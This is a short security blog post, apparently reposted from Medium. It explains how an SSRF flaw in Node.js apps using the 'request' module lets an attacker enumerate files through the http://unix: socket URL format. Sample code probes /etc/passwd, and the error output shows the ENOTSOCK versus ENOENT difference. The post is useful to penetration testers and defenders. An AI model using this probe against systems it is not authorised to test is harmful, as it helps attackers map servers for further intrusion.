If you ever find Server Side Request Forgery (SSRF) in a node.js based application and the app is using the request module you can use a special url format to detect the existence of files / directories.

While request does not support the file:// scheme it does supports a special url format to communicate with unix domain sockets and the errors returned from a file existing vs not existing are different.

The format looks like this. http://unix:SOCKET:PATH and for our purposes we can ignore PATH all together.

Let’s take this code for example. We’re assuming that as a user we can somehow control the url.

File exists condition:

const Request = require('request')

Request.get('[http://unix:/etc/passwd'](http://unix:/etc/passwd'), (err) => { 
  console.log(err) 
})

As /etc/password exists request will try and use it as a unix socket, of course it is not a unix socket so it will give a connection failure error.

{ Error: connect **ENOTSOCK** /etc/passwd
    at Object._errnoException (util.js:1024:11)
    at _exceptionWithHostPort (util.js:1046:20)
    at PipeConnectWrap.afterConnect [as oncomplete] (net.js:1182:14)
  code: 'ENOTSOCK',
  errno: 'ENOTSOCK',
  syscall: 'connect',
  address: '/etc/passwd' }

File does not exist condition:

Using the same code with a different file that does not exist.

const Request = require('request')

Request.get('[http://unix:/does/not/exist'](http://unix:/etc/passwd'), (err) => { 
  console.log(err) 
})

The resulting error looks like this.

{ Error: connect **ENOENT** /does/not/exist
    at Object._errnoException (util.js:1024:11)
    at _exceptionWithHostPort (util.js:1046:20)
    at PipeConnectWrap.afterConnect [as oncomplete] (net.js:1182:14)
  code: 'ENOENT',
  errno: 'ENOENT',
  syscall: 'connect',
  address: '/does/not/exist' }

The different is small: ENOTSOCK, vs ENOENT

While not that severe of an issue on its own it’s a trick that’s help me on past security assessments to enumerate file path locations. Maybe you’ll find it useful too.

Originally posted on Medium